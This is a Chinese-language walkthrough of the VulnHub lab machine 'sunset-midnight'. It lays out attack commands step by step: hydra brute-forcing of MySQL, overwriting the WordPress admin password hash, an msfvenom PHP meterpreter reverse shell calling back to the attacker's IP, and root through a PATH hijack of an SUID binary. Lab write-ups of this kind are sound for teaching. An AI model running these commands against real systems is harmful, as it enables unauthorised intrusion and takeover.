vulnhub靶机-sunset-midnight

https://www.secpulse.com/archives/136484.html

知识点:

nmap

wpscan

msfconsole

msfvenom

hydra爆破mysql

wordpress后台getshell

SUID提权、环境变量提权

环境搭建

靶机描述

1
2
3
4
5
6
7
Difficulty: Intermediate

Important!: Before auditing this machine make sure you add the host "sunset-midnight" to your /etc/hosts file, otherwise it may not work as expected.

It is recommended to run this machine in Virtualbox.

This works better with ViritualBox rather than VMware?

靶机下载地址:https://download.vulnhub.com/sunset/midnight.7z

下载解压后将.ova导入虚拟机即可

网络配置

将网卡设置为NET模式,开始靶机不能正常获取ip,需要将/etc/network/interfaces文件里的网卡改为ens33,可参考Vulnhub靶机检测不到IP地址

信息收集

1.获取靶机ip

1
arp-scan -l

1596350955936

得到靶机地址为192.168.102.136

2.端口扫描

nmap -A 192.168.102.136 -p 1-65535

1596356082989

可以看到靶机开放了22端口、80端口和3306端口

先访问一下80端口,发现没有反应,在官网的靶机描述中得知需要将域名sunset-midnight添加到本地的/etc/hosts文件中,在windows中该文件位置在C:\Windows\System32\drivers\etc\hosts

1596357076302

添加完成后便可以正常访问

1596357397911

在网站底部得到了该网站的cms为WordPress ,所以首先想到使用wpscan进行扫描

1
wpscan --url http://sunset-midnight/

1596358124575

扫描得到了网站后台地址/wp-admin和一个插件,但是通过搜索发现该插件暂无可利用漏洞

之后尝试爆破网站用户

1
wpscan --url http://sunset-midnight/ -e u

1596359030399

只存在一个admin用户,可尝试爆破密码进行登录

1
wpscan --url http://sunset-midnight/ -P /usr/share/wordlists/rockyou.txt u admin

在爆破的同时先尝试其他方法,由于服务器还开放了22端口和3306端口,也可以尝试进行爆破

爆破3306端口

1
hydra 192.168.102.136 mysql -l root -P /usr/share/wordlists/rockyou.txt

在爆破3306端口时成功得到了数据库密码为robert

1596360378229

登陆mysql

1
mysql -uroot -p -h sunset-midnight		#此处不能使用ip登陆

在wordpress_db数据库的wp_users表中发现了用户加密后的密码

1596361749676

该加密方式为wordpress的加密,很难破解,但是我们可以尝试将密码覆盖掉
先生成一个md5

1
21232f297a57a5a743894a0e4a801fc3 #admin

将其写入user_pass 中

1
update wp_users SET user_pass="21232f297a57a5a743894a0e4a801fc3" where id=1

1596362899035

成功覆盖掉原来的密码,之后便可以使用admin/admin登陆网站后台,然而前面爆破到现在也没有爆破出来

getshell

使用admin/admin登陆网站后台之后,可通过上传主题文件来getshell
首先先去官网下载一个主题压缩包,之后将反弹shell的php代码写入shell.php中,然后将其放入压缩包一起上传

1596371110771

说明:使用nc监听非常不稳定,所以下面使用msf监听进行反弹shell

访问appearance->add new ->upload theme进行上传

1596371530164

之后访问/wp-content/themes/[主题名]/[shell文件名]即可得到一个shell

先使用msfvenom生成反弹shell的php文件

1
msfvenom  -p php/meterpreter/reverse_tcp LHOST=192.168.102.128 LPORT=7777 -f raw > shell.php

之后使用msf监听

1
2
3
4
5
use exploit/multi/handler 
set payload php/meterpreter/reverse_tcp
set lhost 192.168.102.128
set lport 7777
run

访问shell文件便可得到一个会话

1596372870135

进入交互模式

1
2
shell
python -c "import pty;pty.spawn('/bin/bash')"

1596372960625

提权

此时这个shell权限很低,需要进行提权,首先查看/etc/passwd
1596373744391

发现了一个jose用户,并且在/var/www/html/wordpress/wp-config.php文件中发现了jose用户的密码645dc5a8871d2a4269d4cbe23f6ae103

1596373963758

开始以为是个md5,后来发现没有经过加密
直接切换到jose用户
1596374023644

之后提权到root权限

使用sudo -l查看当前权限
1596375671167

发现jose不能使用sudo

查看SUDI权限的文件

1
find / -perm -u=s -type f 2>/dev/null

1596375864973

由于不能使用sudo命令,所以大多数命令都不能进行提权,但是发现status命令不太常见,执行一下

1596377057677

发现了一个hint,但似乎对解题没什么帮助
从上面可以看到status使用了service命令,但是为未使用service的绝对路径,所以可以尝试更改$PATH来执行该文件

1
2
3
4
5
6
cd /tmp
echo "/bin/bash" > service
chmod 777 service
echo $PATH
export PATH=/tmp:$PATH #将/tmp添加到环境变量中
status

执行完之后便成功获得了root权限

1596426517128

总结

nmap

wpscan

msfconsole

msfvenom

hydra爆破mysql

wordpress后台getshell

SUID提权、环境变量提权

参考文章:

Linux环境变量提权: https://xz.aliyun.com/t/2767

Wordpress 后台GetShell总结: https://www.cnblogs.com/ssw6/p/12668000.html

文章作者:CyzCc
最后更新:2020年09月29日 12:09:43
原始链接:https://cyzcc.vip/2020/09/29/sunset-midnight/
版权声明:转载请注明出处!
您的支持就是我的动力!
-------------    本文结束  感谢您的阅读    -------------